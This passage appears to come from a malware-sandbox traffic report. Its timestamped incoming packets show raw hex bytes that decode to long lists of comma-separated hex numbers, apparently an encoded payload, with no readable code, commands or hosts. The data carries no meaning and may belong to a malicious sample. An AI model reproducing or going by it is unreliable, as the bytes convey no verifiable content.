2023-04-20 23:05:21 UTC	17005	IN	Data Raw: 63 2c 38 35 2c 31 35 32 2c 31 32 35 2c 38 61 2c 36 35 2c 39 65 2c 61 62 2c 39 39 2c 39 32 2c 62 32 2c 39 64 2c 61 66 2c 63 34 2c 61 39 2c 66 32 2c 37 39 2c 37 61 2c 31 31 32 2c 65 31 2c 35 36 2c 65 38 2c 66 36 2c 65 39 2c 36 34 2c 31 30 32 2c 66 33 2c 62 66 2c 31 31 62 2c 62 30 2c 64 37 2c 61 32 2c 62 62 2c 31 33 64 2c 36 32 2c 36 32 2c 31 32 38 2c 66 65 2c 31 33 35 2c 64 64 2c 64 64 2c 66 39 2c 31 33 34 2c 31 34 34 2c 38 36 2c 31 30 34 2c 37 62 2c 36 32 2c 63 66 2c 31 33 63 2c 37 36 2c 31 31 34 2c 36 30 2c 31 32 65 2c 63 38 2c 38 31 2c 35 64 2c 39 37 2c 31 30 35 2c 63 37 2c 62 66 2c 66 36 2c 63 35 2c 31 32 37 2c 31 33 34 2c 66 34 2c 64 61 2c 62 62 2c 65 62 2c 33 62 2c 35 36 2c 36 30 2c 31 30 66 2c 65 31 2c 31 31 39 2c 31 33 61 2c 31 32 36 2c 61 63 2c 61 Data Ascii: c,85,152,125,8a,65,9e,ab,99,92,b2,9d,af,c4,a9,f2,79,7a,112,e1,56,e8,f6,e9,64,102,f3,bf,11b,b0,d7,a2,bb,13d,62,62,128,fe,135,dd,dd,f9,134,144,86,104,7b,62,cf,13c,76,114,60,12e,c8,81,5d,97,105,c7,bf,f6,c5,127,134,f4,da,bb,eb,3b,56,60,10f,e1,119,13a,126,ac,a
2023-04-20 23:05:21 UTC	17021	IN	Data Raw: 64 2c 63 64 2c 31 34 62 2c 31 31 35 2c 36 62 2c 63 66 2c 31 35 66 2c 62 38 2c 31 31 62 2c 63 31 2c 31 33 30 2c 39 62 2c 31 30 65 2c 62 64 2c 65 63 2c 37 61 2c 66 30 2c 39 65 2c 61 34 2c 65 30 2c 31 37 31 2c 31 32 32 2c 31 32 31 2c 64 63 2c 31 31 65 2c 34 30 2c 62 34 2c 65 36 2c 66 33 2c 31 34 66 2c 61 64 2c 31 32 39 2c 66 64 2c 31 32 32 2c 37 33 2c 63 61 2c 31 32 36 2c 31 30 65 2c 31 33 31 2c 31 34 39 2c 65 63 2c 64 30 2c 31 31 30 2c 65 32 2c 61 66 2c 38 64 2c 38 30 2c 66 61 2c 31 31 65 2c 36 37 2c 65 39 2c 31 33 33 2c 38 64 2c 31 33 65 2c 31 32 36 2c 62 62 2c 31 32 64 2c 35 62 2c 62 31 2c 31 32 36 2c 66 65 2c 65 39 2c 31 34 37 2c 66 31 2c 61 64 2c 31 31 36 2c 64 34 2c 64 37 2c 31 31 32 2c 31 32 63 2c 31 31 61 2c 64 32 2c 31 32 64 2c 35 34 2c 31 35 30 2c Data Ascii: d,cd,14b,115,6b,cf,15f,b8,11b,c1,130,9b,10e,bd,ec,7a,f0,9e,a4,e0,171,122,121,dc,11e,40,b4,e6,f3,14f,ad,129,fd,122,73,ca,126,10e,131,149,ec,d0,110,e2,af,8d,80,fa,11e,67,e9,133,8d,13e,126,bb,12d,5b,b1,126,fe,e9,147,f1,ad,116,d4,d7,112,12c,11a,d2,12d,54,150,
2023-04-20 23:05:21 UTC	17037	IN	Data Raw: 65 63 2c 65 37 2c 62 64 2c 36 31 2c 31 32 61 2c 66 31 2c 31 34 33 2c 66 61 2c 37 38 2c 39 62 2c 63 39 2c 31 30 39 2c 31 30 35 2c 62 64 2c 31 32 36 2c 64 66 2c 31 34 36 2c 39 66 2c 63 31 2c 31 31 37 2c 64 61 2c 65 32 2c 66 63 2c 31 30 65 2c 31 33 39 2c 37 38 2c 64 64 2c 31 33 30 2c 31 35 33 2c 65 38 2c 31 34 30 2c 65 61 2c 31 30 36 2c 65 65 2c 31 31 64 2c 62 35 2c 31 32 66 2c 33 63 2c 64 32 2c 62 31 2c 31 34 61 2c 64 39 2c 66 35 2c 62 37 2c 31 34 33 2c 31 30 63 2c 61 64 2c 31 34 37 2c 61 65 2c 37 38 2c 31 33 66 2c 31 30 35 2c 31 31 65 2c 66 34 2c 62 34 2c 31 32 61 2c 31 33 33 2c 31 30 66 2c 64 64 2c 31 31 30 2c 31 33 37 2c 64 32 2c 36 64 2c 66 62 2c 31 35 62 2c 31 31 38 2c 39 35 2c 34 30 2c 39 66 2c 64 36 2c 35 34 2c 31 30 62 2c 62 66 2c 31 31 31 2c 31 34 Data Ascii: ec,e7,bd,61,12a,f1,143,fa,78,9b,c9,109,105,bd,126,df,146,9f,c1,117,da,e2,fc,10e,139,78,dd,130,153,e8,140,ea,106,ee,11d,b5,12f,3c,d2,b1,14a,d9,f5,b7,143,10c,ad,147,ae,78,13f,105,11e,f4,b4,12a,133,10f,dd,110,137,d2,6d,fb,15b,118,95,40,9f,d6,54,10b,bf,111,14
2023-04-20 23:05:21 UTC	17053	IN	Data Raw: 61 2c 36 39 2c 65 64 2c 64 31 2c 36 36 2c 36 31 2c 31 36 32 2c 31 34 37 2c 31 30 32 2c 35 63 2c 63 36 2c 31 35 65 2c 39 38 2c 31 34 38 2c 63 63 2c 37 38 2c 61 64 2c 31 33 31 2c 63 37 2c 31 36 33 2c 64 35 2c 31 31 34 2c 36 33 2c 31 35 37 2c 39 36 2c 31 31 39 2c 35 37 2c 31 31 34 2c 66 35 2c 31 35 38 2c 63 61 2c 36 33 2c 66 32 2c 38 66 2c 66 66 2c 39 64 2c 63 63 2c 31 33 31 2c 62 39 2c 61 63 2c 31 34 32 2c 63 61 2c 31 34 37 2c 31 36 36 2c 63 38 2c 65 33 2c 65 63 2c 31 32 30 2c 31 32 62 2c 35 38 2c 34 33 2c 66 31 2c 64 38 2c 35 33 2c 31 34 62 2c 65 38 2c 66 65 2c 37 35 2c 33 39 2c 63 30 2c 61 35 2c 31 33 36 2c 61 35 2c 31 35 33 2c 31 33 33 2c 65 62 2c 33 66 2c 31 33 37 2c 37 65 2c 31 33 33 2c 31 34 34 2c 37 39 2c 62 63 2c 65 38 2c 31 30 32 2c 31 33 37 2c 64 Data Ascii: a,69,ed,d1,66,61,162,147,102,5c,c6,15e,98,148,cc,78,ad,131,c7,163,d5,114,63,157,96,119,57,114,f5,158,ca,63,f2,8f,ff,9d,cc,131,b9,ac,142,ca,147,166,c8,e3,ec,120,12b,58,43,f1,d8,53,14b,e8,fe,75,39,c0,a5,136,a5,153,133,eb,3f,137,7e,133,144,79,bc,e8,102,137,d
2023-04-20 23:05:21 UTC	17069	IN	Data Raw: 2c 38 38 2c 65 63 2c 37 66 2c 66 61 2c 39 61 2c 31 30 66 2c 31 32 38 2c 31 32 39 2c 63 62 2c 31 33 63 2c 65 31 2c 31 31 37 2c 39 65 2c 31 30 34 2c 34 66 2c 35 36 2c 64 35 2c 63 36 2c 31 36 35 2c 31 32 33 2c 61 66 2c 31 32 61 2c 38 38 2c 31 37 30 2c 31 37 33 2c 31 34 36 2c 31 35 33 2c 38 39 2c 31 30 66 2c 31 32 62 2c 31 32 33 2c 39 31 2c 62 31 2c 65 31 2c 64 34 2c 35 66 2c 66 36 2c 62 37 2c 34 61 2c 37 33 2c 31 31 64 2c 38 65 2c 66 39 2c 62 63 2c 35 64 2c 31 35 35 2c 35 32 2c 64 34 2c 61 65 2c 65 36 2c 31 35 35 2c 66 39 2c 64 32 2c 62 64 2c 64 39 2c 62 65 2c 39 36 2c 66 32 2c 36 37 2c 66 37 2c 61 65 2c 31 31 32 2c 64 32 2c 31 34 32 2c 37 39 2c 37 61 2c 31 30 63 2c 38 65 2c 62 39 2c 66 65 2c 32 66 2c 64 32 2c 65 30 2c 63 33 2c 66 33 2c 36 62 2c 64 61 2c 31 Data Ascii: ,88,ec,7f,fa,9a,10f,128,129,cb,13c,e1,117,9e,104,4f,56,d5,c6,165,123,af,12a,88,170,173,146,153,89,10f,12b,123,91,b1,e1,d4,5f,f6,b7,4a,73,11d,8e,f9,bc,5d,155,52,d4,ae,e6,155,f9,d2,bd,d9,be,96,f2,67,f7,ae,112,d2,142,79,7a,10c,8e,b9,fe,2f,d2,e0,c3,f3,6b,da,1
2023-04-20 23:05:21 UTC	17085	IN	Data Raw: 32 2c 31 37 34 2c 37 31 2c 63 39 2c 65 32 2c 39 37 2c 31 31 39 2c 37 64 2c 37 61 2c 38 38 2c 36 65 2c 31 33 66 2c 31 30 62 2c 38 66 2c 31 32 35 2c 66 64 2c 63 61 2c 63 38 2c 37 38 2c 37 61 2c 64 62 2c 34 33 2c 31 34 34 2c 36 30 2c 34 62 2c 36 36 2c 61 38 2c 31 35 35 2c 39 35 2c 31 32 38 2c 37 36 2c 31 35 30 2c 61 33 2c 31 34 39 2c 36 63 2c 31 34 64 2c 37 65 2c 31 30 37 2c 64 62 2c 31 30 38 2c 61 31 2c 63 33 2c 31 30 32 2c 62 36 2c 62 36 2c 31 34 36 2c 37 65 2c 31 32 34 2c 64 35 2c 37 38 2c 63 35 2c 31 34 34 2c 65 64 2c 33 30 2c 31 34 61 2c 38 32 2c 38 33 2c 66 36 2c 31 32 37 2c 62 30 2c 37 39 2c 62 38 2c 39 66 2c 66 34 2c 31 30 32 2c 31 37 34 2c 38 66 2c 31 34 64 2c 38 39 2c 65 61 2c 62 62 2c 35 31 2c 62 35 2c 62 37 2c 62 30 2c 31 32 64 2c 65 62 2c 65 36 Data Ascii: 2,174,71,c9,e2,97,119,7d,7a,88,6e,13f,10b,8f,125,fd,ca,c8,78,7a,db,43,144,60,4b,66,a8,155,95,128,76,150,a3,149,6c,14d,7e,107,db,108,a1,c3,102,b6,b6,146,7e,124,d5,78,c5,144,ed,30,14a,82,83,f6,127,b0,79,b8,9f,f4,102,174,8f,14d,89,ea,bb,51,b5,b7,b0,12d,eb,e6
2023-04-20 23:05:22 UTC	17101	IN	Data Raw: 31 2c 38 31 2c 36 30 2c 62 39 2c 31 31 61 2c 31 36 39 2c 36 64 2c 31 30 33 2c 38 31 2c 31 30 62 2c 35 39 2c 35 62 2c 31 31 61 2c 62 66 2c 31 31 37 2c 64 36 2c 64 35 2c 31 31 36 2c 31 33 30 2c 31 31 37 2c 31 34 61 2c 66 35 2c 63 36 2c 31 30 35 2c 39 38 2c 36 35 2c 31 35 63 2c 35 38 2c 37 35 2c 31 34 36 2c 31 33 62 2c 31 33 63 2c 31 31 30 2c 61 65 2c 31 30 33 2c 31 35 36 2c 62 61 2c 31 37 31 2c 39 36 2c 31 34 33 2c 31 31 33 2c 34 38 2c 31 33 34 2c 31 32 65 2c 38 63 2c 37 61 2c 37 61 2c 66 32 2c 62 34 2c 65 33 2c 66 33 2c 65 31 2c 64 37 2c 31 32 34 2c 31 35 65 2c 37 64 2c 31 32 32 2c 31 30 62 2c 31 31 37 2c 62 63 2c 31 33 35 2c 63 66 2c 31 34 65 2c 38 36 2c 31 34 35 2c 31 30 32 2c 66 62 2c 61 37 2c 38 62 2c 62 61 2c 38 63 2c 38 61 2c 35 32 2c 35 30 2c 39 31 Data Ascii: 1,81,60,b9,11a,169,6d,103,81,10b,59,5b,11a,bf,117,d6,d5,116,130,117,14a,f5,c6,105,98,65,15c,58,75,146,13b,13c,110,ae,103,156,ba,171,96,143,113,48,134,12e,8c,7a,7a,f2,b4,e3,f3,e1,d7,124,15e,7d,122,10b,117,bc,135,cf,14e,86,145,102,fb,a7,8b,ba,8c,8a,52,50,91
2023-04-20 23:05:22 UTC	17117	IN	Data Raw: 2c 38 30 2c 62 35 2c 64 31 2c 37 37 2c 63 64 2c 31 30 62 2c 31 33 33 2c 31 30 33 2c 31 32 63 2c 63 39 2c 62 66 2c 31 31 61 2c 37 30 2c 31 30 34 2c 66 62 2c 34 65 2c 34 64 2c 31 35 34 2c 39 63 2c 31 32 38 2c 65 35 2c 39 30 2c 31 32 65 2c 61 61 2c 31 36 65 2c 39 39 2c 31 34 34 2c 66 38 2c 31 32 66 2c 39 62 2c 31 31 61 2c 62 35 2c 31 32 31 2c 31 34 36 2c 62 65 2c 31 31 33 2c 66 63 2c 66 35 2c 31 32 62 2c 39 65 2c 31 30 30 2c 61 65 2c 39 35 2c 66 63 2c 34 38 2c 65 65 2c 62 30 2c 62 32 2c 65 62 2c 62 39 2c 31 30 31 2c 63 63 2c 63 38 2c 64 66 2c 38 62 2c 64 30 2c 39 33 2c 64 33 2c 31 30 65 2c 31 35 31 2c 63 61 2c 31 30 36 2c 31 32 34 2c 34 35 2c 35 36 2c 38 31 2c 31 31 65 2c 31 33 62 2c 34 64 2c 31 32 32 2c 31 33 33 2c 34 62 2c 64 62 2c 31 34 62 2c 31 33 65 2c Data Ascii: ,80,b5,d1,77,cd,10b,133,103,12c,c9,bf,11a,70,104,fb,4e,4d,154,9c,128,e5,90,12e,aa,16e,99,144,f8,12f,9b,11a,b5,121,146,be,113,fc,f5,12b,9e,100,ae,95,fc,48,ee,b0,b2,eb,b9,101,cc,c8,df,8b,d0,93,d3,10e,151,ca,106,124,45,56,81,11e,13b,4d,122,133,4b,db,14b,13e,
2023-04-20 23:05:22 UTC	17133	IN	Data Raw: 31 34 62 2c 61 39 2c 38 66 2c 64 38 2c 31 34 36 2c 39 34 2c 35 35 2c 35 65 2c 35 61 2c 35 33 2c 35 38 2c 38 36 2c 36 65 2c 38 36 2c 36 64 2c 31 36 64 2c 37 63 2c 31 32 39 2c 35 35 2c 35 66 2c 31 36 32 2c 31 33 61 2c 35 36 2c 31 31 62 2c 31 36 62 2c 31 32 62 2c 36 38 2c 31 34 37 2c 31 35 33 2c 31 33 66 2c 37 35 2c 31 31 63 2c 31 34 37 2c 31 33 31 2c 39 32 2c 31 31 65 2c 31 34 30 2c 66 63 2c 35 63 2c 64 36 2c 35 61 2c 64 35 2c 35 66 2c 31 31 36 2c 36 38 2c 66 36 2c 33 63 2c 65 37 2c 36 39 2c 39 37 2c 38 39 2c 31 33 64 2c 38 64 2c 35 39 2c 35 39 2c 62 31 2c 31 36 63 2c 61 39 2c 36 37 2c 61 66 2c 31 34 64 2c 63 31 2c 37 35 2c 38 32 2c 31 34 38 2c 62 35 2c 39 32 2c 64 36 2c 31 34 31 2c 39 30 2c 35 63 2c 35 32 2c 35 62 2c 36 64 2c 35 66 2c 62 36 2c 36 39 2c 37 Data Ascii: 14b,a9,8f,d8,146,94,55,5e,5a,53,58,86,6e,86,6d,16d,7c,129,55,5f,162,13a,56,11b,16b,12b,68,147,153,13f,75,11c,147,131,92,11e,140,fc,5c,d6,5a,d5,5f,116,68,f6,3c,e7,69,97,89,13d,8d,59,59,b1,16c,a9,67,af,14d,c1,75,82,148,b5,92,d6,141,90,5c,52,5b,6d,5f,b6,69,7
2023-04-20 23:05:22 UTC	17149	IN	Data Raw: 2c 31 32 31 2c 31 32 64 2c 38 33 2c 38 34 2c 34 31 2c 31 32 38 2c 36 32 2c 31 34 66 2c 31 31 38 2c 38 37 2c 31 31 32 2c 38 35 2c 38 63 2c 31 32 62 2c 65 62 2c 36 39 2c 31 32 65 2c 34 61 2c 39 35 2c 31 31 65 2c 31 31 37 2c 35 64 2c 31 32 31 2c 38 38 2c 31 36 35 2c 35 65 2c 31 35 63 2c 31 35 62 2c 65 39 2c 36 32 2c 31 32 65 2c 31 36 65 2c 39 39 2c 62 64 2c 33 36 2c 62 30 2c 31 32 65 2c 62 37 2c 31 34 33 2c 39 39 2c 37 37 2c 37 31 2c 31 30 37 2c 31 34 63 2c 31 31 39 2c 38 64 2c 31 34 61 2c 37 64 2c 31 33 65 2c 35 64 2c 39 34 2c 38 63 2c 66 30 2c 36 34 2c 39 62 2c 31 33 62 2c 31 34 36 2c 66 35 2c 31 36 34 2c 62 61 2c 36 64 2c 36 32 2c 31 32 65 2c 31 36 65 2c 31 32 32 2c 61 62 2c 66 63 2c 63 30 2c 61 39 2c 62 38 2c 38 37 2c 66 34 2c 63 66 2c 37 37 2c 31 30 37 Data Ascii: ,121,12d,83,84,41,128,62,14f,118,87,112,85,8c,12b,eb,69,12e,4a,95,11e,117,5d,121,88,165,5e,15c,15b,e9,62,12e,16e,99,bd,36,b0,12e,b7,143,99,77,71,107,14c,119,8d,14a,7d,13e,5d,94,8c,f0,64,9b,13b,146,f5,164,ba,6d,62,12e,16e,122,ab,fc,c0,a9,b8,87,f4,cf,77,107
2023-04-20 23:05:22 UTC	17165	IN	Data Raw: 2c 31 34 35 2c 31 35 65 2c 31 33 32 2c 62 37 2c 39 63 2c 31 34 64 2c 31 33 36 2c 31 32 34 2c 65 32 2c 65 33 2c 31 30 61 2c 36 64 2c 61 35 2c 36 32 2c 61 39 2c 31 33 63 2c 37 34 2c 62 39 2c 31 33 61 2c 36 64 2c 38 38 2c 38 34 2c 37 38 2c 31 30 35 2c 35 61 2c 31 32 33 2c 38 35 2c 63 63 2c 31 33 32 2c 37 34 2c 64 30 2c 66 39 2c 62 63 2c 62 34 2c 61 63 2c 66 33 2c 39 36 2c 31 36 38 2c 38 64 2c 66 39 2c 65 66 2c 66 63 2c 63 65 2c 31 31 30 2c 63 36 2c 63 62 2c 39 31 2c 37 39 2c 65 66 2c 31 31 39 2c 65 65 2c 64 62 2c 31 31 31 2c 31 30 37 2c 36 38 2c 66 37 2c 36 35 2c 37 63 2c 35 39 2c 39 38 2c 62 38 2c 64 35 2c 31 35 33 2c 65 62 2c 65 65 2c 61 66 2c 38 32 2c 31 32 31 2c 61 65 2c 62 62 2c 66 61 2c 64 32 2c 31 35 30 2c 61 31 2c 38 37 2c 64 65 2c 64 64 2c 31 30 34 Data Ascii: ,145,15e,132,b7,9c,14d,136,124,e2,e3,10a,6d,a5,62,a9,13c,74,b9,13a,6d,88,84,78,105,5a,123,85,cc,132,74,d0,f9,bc,b4,ac,f3,96,168,8d,f9,ef,fc,ce,110,c6,cb,91,79,ef,119,ee,db,111,107,68,f7,65,7c,59,98,b8,d5,153,eb,ee,af,82,121,ae,bb,fa,d2,150,a1,87,de,dd,104
2023-04-20 23:05:22 UTC	17181	IN	Data Raw: 33 66 2c 37 30 2c 34 62 2c 31 33 62 2c 38 39 2c 66 32 2c 63 34 2c 31 35 30 2c 31 34 36 2c 34 39 2c 65 33 2c 37 32 2c 31 32 39 2c 62 39 2c 31 31 65 2c 31 33 38 2c 65 63 2c 31 31 32 2c 31 30 63 2c 31 31 63 2c 63 65 2c 31 32 37 2c 31 32 37 2c 31 32 30 2c 65 62 2c 31 33 34 2c 31 30 62 2c 62 37 2c 39 32 2c 31 31 31 2c 31 33 36 2c 31 34 39 2c 31 35 32 2c 38 39 2c 66 32 2c 64 32 2c 31 33 65 2c 31 34 37 2c 31 35 63 2c 31 35 34 2c 31 34 32 2c 34 63 2c 66 36 2c 66 38 2c 62 34 2c 31 34 64 2c 61 33 2c 66 64 2c 61 34 2c 36 35 2c 31 32 37 2c 37 66 2c 31 33 32 2c 63 34 2c 39 61 2c 38 64 2c 37 39 2c 62 35 2c 31 31 35 2c 37 33 2c 31 35 33 2c 64 38 2c 31 33 31 2c 39 34 2c 37 33 2c 39 37 2c 66 65 2c 31 33 61 2c 66 35 2c 35 66 2c 31 32 64 2c 38 30 2c 31 36 32 2c 38 35 2c 31 Data Ascii: 3f,70,4b,13b,89,f2,c4,150,146,49,e3,72,129,b9,11e,138,ec,112,10c,11c,ce,127,127,120,eb,134,10b,b7,92,111,136,149,152,89,f2,d2,13e,147,15c,154,142,4c,f6,f8,b4,14d,a3,fd,a4,65,127,7f,132,c4,9a,8d,79,b5,115,73,153,d8,131,94,73,97,fe,13a,f5,5f,12d,80,162,85,1
2023-04-20 23:05:22 UTC	17197	IN	Data Raw: 2c 64 36 2c 31 32 65 2c 31 34 31 2c 31 32 35 2c 63 37 2c 31 31 66 2c 63 64 2c 39 63 2c 31 34 34 2c 64 64 2c 64 65 2c 31 30 62 2c 31 36 31 2c 31 35 38 2c 36 64 2c 63 61 2c 66 61 2c 37 62 2c 31 32 39 2c 63 31 2c 31 32 35 2c 37 64 2c 66 31 2c 61 66 2c 63 36 2c 31 35 30 2c 31 34 63 2c 62 65 2c 36 65 2c 31 31 61 2c 66 39 2c 35 35 2c 31 34 65 2c 64 32 2c 39 61 2c 65 34 2c 31 35 33 2c 37 34 2c 39 65 2c 38 36 2c 62 36 2c 62 34 2c 65 37 2c 31 31 65 2c 37 63 2c 31 31 66 2c 38 61 2c 35 35 2c 31 30 31 2c 65 31 2c 61 33 2c 65 65 2c 63 63 2c 61 62 2c 65 39 2c 35 38 2c 31 34 39 2c 65 32 2c 38 32 2c 31 31 39 2c 63 31 2c 37 35 2c 36 35 2c 63 31 2c 38 65 2c 36 34 2c 31 34 63 2c 62 61 2c 31 33 65 2c 63 30 2c 33 62 2c 31 32 39 2c 36 37 2c 65 39 2c 31 32 34 2c 62 61 2c 31 37 Data Ascii: ,d6,12e,141,125,c7,11f,cd,9c,144,dd,de,10b,161,158,6d,ca,fa,7b,129,c1,125,7d,f1,af,c6,150,14c,be,6e,11a,f9,55,14e,d2,9a,e4,153,74,9e,86,b6,b4,e7,11e,7c,11f,8a,55,101,e1,a3,ee,cc,ab,e9,58,149,e2,82,119,c1,75,65,c1,8e,64,14c,ba,13e,c0,3b,129,67,e9,124,ba,17
2023-04-20 23:05:22 UTC	17213	IN	Data Raw: 2c 36 36 2c 31 30 32 2c 31 31 33 2c 31 34 66 2c 35 32 2c 64 30 2c 31 35 30 2c 31 32 31 2c 37 34 2c 31 33 37 2c 37 65 2c 31 35 38 2c 31 35 61 2c 39 37 2c 62 35 2c 38 38 2c 31 35 32 2c 31 30 61 2c 61 66 2c 31 33 66 2c 66 30 2c 61 34 2c 66 65 2c 61 36 2c 31 33 64 2c 31 34 35 2c 31 32 37 2c 31 31 32 2c 64 31 2c 31 31 61 2c 62 38 2c 65 39 2c 61 64 2c 31 34 31 2c 39 37 2c 63 30 2c 38 62 2c 37 34 2c 62 33 2c 31 33 32 2c 37 34 2c 31 34 62 2c 31 35 30 2c 39 62 2c 37 34 2c 39 65 2c 62 32 2c 31 32 66 2c 31 32 31 2c 39 65 2c 62 63 2c 61 62 2c 61 65 2c 37 61 2c 31 34 31 2c 64 35 2c 31 31 35 2c 64 37 2c 31 32 32 2c 38 61 2c 64 35 2c 61 36 2c 36 66 2c 35 31 2c 31 31 65 2c 66 35 2c 39 34 2c 61 38 2c 38 61 2c 31 32 35 2c 37 66 2c 39 34 2c 64 34 2c 61 33 2c 31 31 64 2c 31 Data Ascii: ,66,102,113,14f,52,d0,150,121,74,137,7e,158,15a,97,b5,88,152,10a,af,13f,f0,a4,fe,a6,13d,145,127,112,d1,11a,b8,e9,ad,141,97,c0,8b,74,b3,132,74,14b,150,9b,74,9e,b2,12f,121,9e,bc,ab,ae,7a,141,d5,115,d7,122,8a,d5,a6,6f,51,11e,f5,94,a8,8a,125,7f,94,d4,a3,11d,1
2023-04-20 23:05:22 UTC	17229	IN	Data Raw: 31 33 66 2c 31 31 33 2c 66 64 2c 31 31 33 2c 66 36 2c 31 31 30 2c 31 30 32 2c 62 63 2c 31 32 35 2c 66 33 2c 65 63 2c 66 30 2c 31 32 64 2c 62 38 2c 35 66 2c 61 35 2c 31 30 32 2c 64 33 2c 66 38 2c 63 62 2c 31 30 30 2c 37 36 2c 65 30 2c 64 64 2c 31 34 32 2c 31 31 66 2c 31 34 31 2c 39 65 2c 64 62 2c 64 39 2c 31 32 65 2c 31 31 32 2c 62 30 2c 31 34 64 2c 31 30 61 2c 63 39 2c 66 35 2c 66 34 2c 31 36 63 2c 31 33 32 2c 36 30 2c 31 30 33 2c 31 31 66 2c 31 34 30 2c 64 65 2c 64 33 2c 31 30 35 2c 65 66 2c 62 36 2c 38 33 2c 31 31 34 2c 61 38 2c 31 32 38 2c 63 63 2c 31 31 32 2c 35 66 2c 31 30 37 2c 39 36 2c 31 33 34 2c 31 34 33 2c 31 31 66 2c 31 37 33 2c 31 34 36 2c 64 38 2c 31 33 32 2c 63 65 2c 63 37 2c 37 30 2c 34 63 2c 31 32 35 2c 31 34 34 2c 64 36 2c 39 39 2c 37 30 Data Ascii: 13f,113,fd,113,f6,110,102,bc,125,f3,ec,f0,12d,b8,5f,a5,102,d3,f8,cb,100,76,e0,dd,142,11f,141,9e,db,d9,12e,112,b0,14d,10a,c9,f5,f4,16c,132,60,103,11f,140,de,d3,105,ef,b6,83,114,a8,128,cc,112,5f,107,96,134,143,11f,173,146,d8,132,ce,c7,70,4c,125,144,d6,99,70
2023-04-20 23:05:22 UTC	17245	IN	Data Raw: 64 38 2c 31 35 66 2c 38 32 2c 34 64 2c 31 32 63 2c 61 36 2c 31 30 30 2c 62 30 2c 63 63 2c 31 36 64 2c 39 39 2c 36 61 2c 35 62 2c 66 34 2c 38 38 2c 63 32 2c 63 61 2c 31 35 66 2c 38 38 2c 38 31 2c 35 35 2c 31 34 38 2c 64 63 2c 31 32 34 2c 31 37 33 2c 38 34 2c 31 32 64 2c 35 31 2c 64 37 2c 63 36 2c 31 31 33 2c 36 64 2c 31 35 61 2c 31 35 61 2c 37 65 2c 37 63 2c 31 33 30 2c 31 33 35 2c 31 30 38 2c 62 39 2c 31 32 63 2c 31 32 65 2c 31 33 38 2c 31 30 64 2c 38 30 2c 64 61 2c 36 30 2c 39 35 2c 31 32 62 2c 31 32 62 2c 39 65 2c 37 66 2c 65 34 2c 64 35 2c 31 33 30 2c 65 36 2c 31 34 30 2c 31 33 37 2c 61 62 2c 36 61 2c 39 63 2c 65 63 2c 31 30 65 2c 38 35 2c 65 31 2c 31 32 65 2c 31 32 36 2c 31 32 65 2c 31 30 63 2c 66 35 2c 65 34 2c 65 64 2c 35 38 2c 31 30 64 2c 31 33 38 Data Ascii: d8,15f,82,4d,12c,a6,100,b0,cc,16d,99,6a,5b,f4,88,c2,ca,15f,88,81,55,148,dc,124,173,84,12d,51,d7,c6,113,6d,15a,15a,7e,7c,130,135,108,b9,12c,12e,138,10d,80,da,60,95,12b,12b,9e,7f,e4,d5,130,e6,140,137,ab,6a,9c,ec,10e,85,e1,12e,126,12e,10c,f5,e4,ed,58,10d,138
2023-04-20 23:05:22 UTC	17261	IN	Data Raw: 2c 63 61 2c 66 62 2c 31 32 32 2c 31 30 64 2c 65 33 2c 66 34 2c 61 63 2c 31 32 38 2c 39 33 2c 35 35 2c 65 38 2c 31 33 36 2c 61 61 2c 31 33 64 2c 66 37 2c 31 30 33 2c 31 33 31 2c 66 36 2c 65 64 2c 31 31 39 2c 31 33 63 2c 64 37 2c 63 38 2c 61 65 2c 65 61 2c 63 32 2c 66 39 2c 31 32 37 2c 33 63 2c 65 37 2c 33 64 2c 31 34 34 2c 65 36 2c 31 32 36 2c 62 61 2c 31 34 31 2c 66 38 2c 61 36 2c 37 61 2c 31 32 63 2c 31 34 32 2c 65 64 2c 31 35 35 2c 36 39 2c 35 62 2c 64 36 2c 31 32 66 2c 61 38 2c 31 30 31 2c 31 32 64 2c 31 34 64 2c 35 64 2c 38 36 2c 31 35 35 2c 66 32 2c 31 34 65 2c 62 62 2c 31 36 63 2c 62 37 2c 66 31 2c 39 34 2c 61 36 2c 63 34 2c 36 30 2c 61 33 2c 31 32 65 2c 62 37 2c 31 34 61 2c 35 30 2c 38 62 2c 38 35 2c 31 33 36 2c 31 35 61 2c 61 62 2c 62 66 2c 36 30 Data Ascii: ,ca,fb,122,10d,e3,f4,ac,128,93,55,e8,136,aa,13d,f7,103,131,f6,ed,119,13c,d7,c8,ae,ea,c2,f9,127,3c,e7,3d,144,e6,126,ba,141,f8,a6,7a,12c,142,ed,155,69,5b,d6,12f,a8,101,12d,14d,5d,86,155,f2,14e,bb,16c,b7,f1,94,a6,c4,60,a3,12e,b7,14a,50,8b,85,136,15a,ab,bf,60
2023-04-20 23:05:22 UTC	17277	IN	Data Raw: 65 31 2c 31 30 34 2c 65 35 2c 34 30 2c 31 32 30 2c 31 30 66 2c 61 61 2c 36 34 2c 62 31 2c 31 32 64 2c 65 62 2c 63 37 2c 62 30 2c 31 31 66 2c 33 39 2c 31 34 33 2c 37 38 2c 63 31 2c 38 66 2c 31 33 38 2c 65 35 2c 39 66 2c 39 65 2c 62 36 2c 31 37 33 2c 62 63 2c 62 66 2c 65 65 2c 33 61 2c 31 34 65 2c 63 65 2c 61 31 2c 62 31 2c 31 34 37 2c 66 36 2c 31 32 36 2c 38 38 2c 31 30 37 2c 65 66 2c 39 65 2c 37 31 2c 31 34 37 2c 62 61 2c 35 62 2c 66 66 2c 38 34 2c 63 63 2c 31 33 32 2c 63 62 2c 31 34 63 2c 31 31 65 2c 63 38 2c 65 38 2c 31 33 34 2c 38 36 2c 31 31 36 2c 31 34 31 2c 65 35 2c 31 31 38 2c 36 39 2c 33 64 2c 31 34 65 2c 31 30 61 2c 36 62 2c 38 64 2c 36 62 2c 31 35 66 2c 31 30 65 2c 31 34 63 2c 63 39 2c 66 36 2c 35 64 2c 66 39 2c 61 65 2c 31 33 39 2c 31 33 66 2c Data Ascii: e1,104,e5,40,120,10f,aa,64,b1,12d,eb,c7,b0,11f,39,143,78,c1,8f,138,e5,9f,9e,b6,173,bc,bf,ee,3a,14e,ce,a1,b1,147,f6,126,88,107,ef,9e,71,147,ba,5b,ff,84,cc,132,cb,14c,11e,c8,e8,134,86,116,141,e5,118,69,3d,14e,10a,6b,8d,6b,15f,10e,14c,c9,f6,5d,f9,ae,139,13f,
